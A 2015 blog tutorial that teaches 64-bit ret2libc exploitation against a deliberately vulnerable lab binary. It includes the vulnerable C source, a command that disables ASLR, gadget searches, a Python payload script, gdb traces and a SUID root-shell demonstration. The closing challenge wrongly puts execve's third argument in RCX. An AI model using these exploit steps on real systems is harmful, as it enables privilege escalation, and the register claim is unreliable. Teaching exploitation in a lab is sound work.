64-bit Linux stack smashing tutorial: Part 2

Written on April 21, 2015

This is part 2 of my 64-bit Linux Stack Smashing tutorial. In part 1 we exploited a 64-bit binary using a classic stack overflow and learned that we can't just blindly expect to overwrite RIP by spamming the buffer with bytes. We turned off ASLR, NX, and stack canaries in part 1 so we could focus on the exploitation rather than bypassing these security features. This time we'll enable NX and look at how we can exploit the same binary using ret2libc.

Setup

The setup is identical to what I was using in part 1. We'll also be making use of the following:

- Python Exploit Development Assistance for GDB
- Ropper

Ret2Libc

Here's the same binary we exploited in part 1. The only difference is we'll keep NX enabled which will prevent our previous exploit from working since the stack is now non-executable:

```
/* Compile: gcc -fno-stack-protector ret2libc.c -o ret2libc      */
/* Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space     */

#include <stdio.h>
#include <unistd.h>

int vuln() {
```

```
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nRead %d bytes. buf is %s\n", r, buf);
    puts("No shell for you :(");
    return 0;
}

int main(int argc, char *argv[]) {
    printf("Try to exec /bin/sh");
    vuln();
    return 0;
}
```

You can also grab the precompiled binary here.

In 32-bit binaries, a ret2libc attack involves setting up a fake stack frame so that the function calls a function in libc and passes it any parameters it needs. Typically this would be returning to system() and having it execute "/bin/sh".

In 64-bit binaries, function parameters are passed in registers, therefore there's no need to fake a stack frame. The first six parameters are passed in registers RDI, RSI, RDX, RCX, R8, and R9. Anything beyond that is passed in the stack. This means that before returning to our function of choice in libc, we need to make sure the registers are setup correctly with the parameters the function is expecting. This in turn leads us to having to use a bit of Return Oriented Programming (ROP). If you're not familiar with ROP, don't worry, we won't be going into the crazy stuff.

We'll start with a simple exploit that returns to system() and executes "/bin/sh". We need a few things:

- The address of system(). ASLR is disabled so we don't have to worry about this address changing.
- A pointer to "/bin/sh".
- Since the first function parameter needs to be in RDI, we need a ROP gadget that will copy the pointer to "/bin/sh" into RDI.

Let's start with finding the address of system(). This is easily done within gdb:

```
gdb-peda$ start
```

```
.
.
.
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a5ac40 <system>
```

We can just as easily search for a pointer to "/bin/sh":

```
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 3 results, display max 3 items:
ret2libc : 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
ret2libc : 0x6006ff --> 0x68732f6e69622f ('/bin/sh')
    libc : 0x7ffff7b9209b --> 0x68732f6e69622f ('/bin/sh')
```

The first two pointers are from the string in the binary that prints out "Try to exec /bin/sh". The third is from libc itself, and in fact if you do have access to libc, then feel free to use it. In this case, we'll go with the first one at 0x4006ff.

Now we need a gadget that copies 0x4006ff to RDI. We can search for one using ropper. Let's see if we can find any instructions that use EDI or RDI:

```
koji@pwnbox:~/ret2libc$ ropper --file ret2libc --search "% ?di"
Gadgets
=======



0x0000000000400520: mov edi, 0x601050; jmp rax;
0x000000000040051f: pop rbp; mov edi, 0x601050; jmp rax;
0x00000000004006a3: pop rdi; ret ;

3 gadgets found
```

The third gadget that pops a value off the stack into RDI is perfect. We now have everything we need to construct our exploit:

```
#!/usr/bin/env python

from struct import *

buf = ""
buf += "A"*104                                  # junk
buf += pack("<Q", 0x0000000004006a3)            # pop rdi; ret;
buf += pack("<Q", 0x4006ff)                     # pointer to "/bin/sh" gets popped
buf += pack("<Q", 0x7ffff7a5ac40)               # address of system()

f = open("in.txt", "w")
f.write(buf)
```

This exploit will write our payload into in.txt which we can redirect into the binary within gdb. Let's go over it quickly:

- Line 7: We overwrite RIP with the address of our ROP gadget so when vuln() returns, it executes pop rdi; ret.
- Line 8: This value is popped into RDI when pop rdi is executed. Once that's done, RSP will be pointing to 0x7ffff7a5ac40; the address of system().
- Line 9: When ret executes after pop rdi, execution returns to system(). system() will look at RDI for the parameter it expects and execute it. In this case, it executes "/bin/sh".

Let's see it in action in gdb. We'll set a breakpoint at vuln()'s return instruction:

```
gdb-peda$ br *vuln+73
Breakpoint 1 at 0x40060f
```

Now we'll redirect the payload into the binary and it should hit our first breakpoint:

```
gdb-peda$ r < in.txt
Try to exec /bin/sh
Read 128 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
No shell for you :(
.
.
```

```
.
[----------------------------------code-----------------------------------
   0x400604 <vuln+62>:  call   0x400480 <puts@plt>
   0x400609 <vuln+67>:  mov    eax,0x0
   0x40060e <vuln+72>:  leave
=> 0x40060f <vuln+73>:  ret
   0x400610 <main>: push   rbp
   0x400611 <main+1>:   mov    rbp,rsp
   0x400614 <main+4>:   sub    rsp,0x10
   0x400618 <main+8>:   mov    DWORD PTR [rbp-0x4],edi
[----------------------------------stack-----------------------------------
0000| 0x7fffffffe508 --> 0x4006a3 (<__libc_csu_init+99>:    pop    rdi)
0008| 0x7fffffffe510 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
0016| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>:  test   rdi,rdi)
0024| 0x7fffffffe520 --> 0x0
0032| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>:   mov    edi
0040| 0x7fffffffe530 --> 0x0
0048| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2li
0056| 0x7fffffffe540 --> 0x100000000
[-------------------------------------------------------------------------
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040060f in vuln ()
```

Notice that RSP points to 0x4006a3 which is our ROP gadget. Step in and we'll return to our gadget where we can now execute pop rdi.

```
gdb-peda$ si
.
.
.
[----------------------------------code-----------------------------------
=> 0x4006a3 <__libc_csu_init+99>:   pop    rdi
   0x4006a4 <__libc_csu_init+100>:  ret
   0x4006a5:    data32 nop WORD PTR cs:[rax+rax*1+0x0]
   0x4006b0 <__libc_csu_fini>:  repz ret
[----------------------------------stack-----------------------------------
0000| 0x7fffffffe510 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
```

```
0008| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>:  test   rdi,rdi)
0016| 0x7fffffffe520 --> 0x0
0024| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>:   mov    edi
0032| 0x7fffffffe530 --> 0x0
0040| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2li
0048| 0x7fffffffe540 --> 0x100000000
0056| 0x7fffffffe548 --> 0x400610 (<main>:  push   rbp)
[-------------------------------------------------------------------------
Legend: code, data, rodata, value
0x00000000004006a3 in __libc_csu_init ()
```

Step in and RDI should now contain a pointer to "/bin/sh":

```
gdb-peda$ si
[----------------------------------registers-----------------------------
.
.
.
RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
.
.
.
[-----------------------------------code-----------------------------------
   0x40069e <__libc_csu_init+94>:   pop    r13
   0x4006a0 <__libc_csu_init+96>:   pop    r14
   0x4006a2 <__libc_csu_init+98>:   pop    r15
=> 0x4006a4 <__libc_csu_init+100>:  ret
   0x4006a5:    data32 nop WORD PTR cs:[rax+rax*1+0x0]
   0x4006b0 <__libc_csu_fini>:  repz ret
   0x4006b2:    add    BYTE PTR [rax],al
   0x4006b4 <_fini>:    sub    rsp,0x8
[-----------------------------------stack----------------------------------
0000| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>:  test   rdi,rdi)
0008| 0x7fffffffe520 --> 0x0
0016| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>:   mov    edi
0024| 0x7fffffffe530 --> 0x0
0032| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2li
0040| 0x7fffffffe540 --> 0x100000000
```

```
0048| 0x7fffffffe548 --> 0x400610 (<main>:  push   rbp)
0056| 0x7fffffffe550 --> 0x0
[-------------------------------------------------------------------------
Legend: code, data, rodata, value
0x00000000004006a4 in __libc_csu_init ()
```

Now RIP points to ret and RSP points to the address of system(). Step in again and we should now be in system()

```
gdb-peda$ si
.
.
.
[-----------------------------------code-------------------------------------
   0x7ffff7a5ac35 <cancel_handler+181>: pop    rbx
   0x7ffff7a5ac36 <cancel_handler+182>: ret
   0x7ffff7a5ac37:  nop    WORD PTR [rax+rax*1+0x0]
=> 0x7ffff7a5ac40 <system>: test   rdi,rdi
   0x7ffff7a5ac43 <system+3>:   je     0x7ffff7a5ac50 <system+16>
   0x7ffff7a5ac45 <system+5>:   jmp    0x7ffff7a5a770 <do_system>
   0x7ffff7a5ac4a <system+10>:  nop    WORD PTR [rax+rax*1+0x0]
   0x7ffff7a5ac50 <system+16>:  lea    rdi,[rip+0x13744c]        # 0x7ffff7b92
```

At this point if we just continue execution we should see that "/bin/sh" is executed:

```
gdb-peda$ c
[New process 11114]
process 11114 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" c
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
[New process 11115]
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
process 11115 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" c
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
```

```
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
[Inferior 3 (process 11115) exited normally]
Warning: not running or target is remote
```

Perfect, it looks like our exploit works. Let's try it and see if we can get a root shell. We'll change ret2libc's owner and permissions so that it's SUID root:

```
koji@pwnbox:~/ret2libc$ sudo chown root ret2libc
koji@pwnbox:~/ret2libc$ sudo chmod 4755 ret2libc
```

Now let's execute our exploit much like we did in part 1:

```
koji@pwnbox:~/ret2libc$ (cat in.txt ; cat) | ./ret2libc
Try to exec /bin/sh
Read 128 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
No shell for you :(
whoami
root
```

Got our root shell again, and we bypassed NX. Now this was a relatively simple exploit that only required one parameter. What if we need more? Then we need to find more gadgets that setup the registers accordingly before returning to a function in libc. If you're up for a challenge, rewrite the exploit so that it calls execve() instead of system(). execve() requires three parameters:

```
int execve(const char *filename, char *const argv[], char *const envp[]);
```

This means you'll need to have RDI, RSI, and RCX populated with proper values before calling execve(). Try to use gadgets only within the binary itself, that is, don't look for gadgets in libc. Good luck!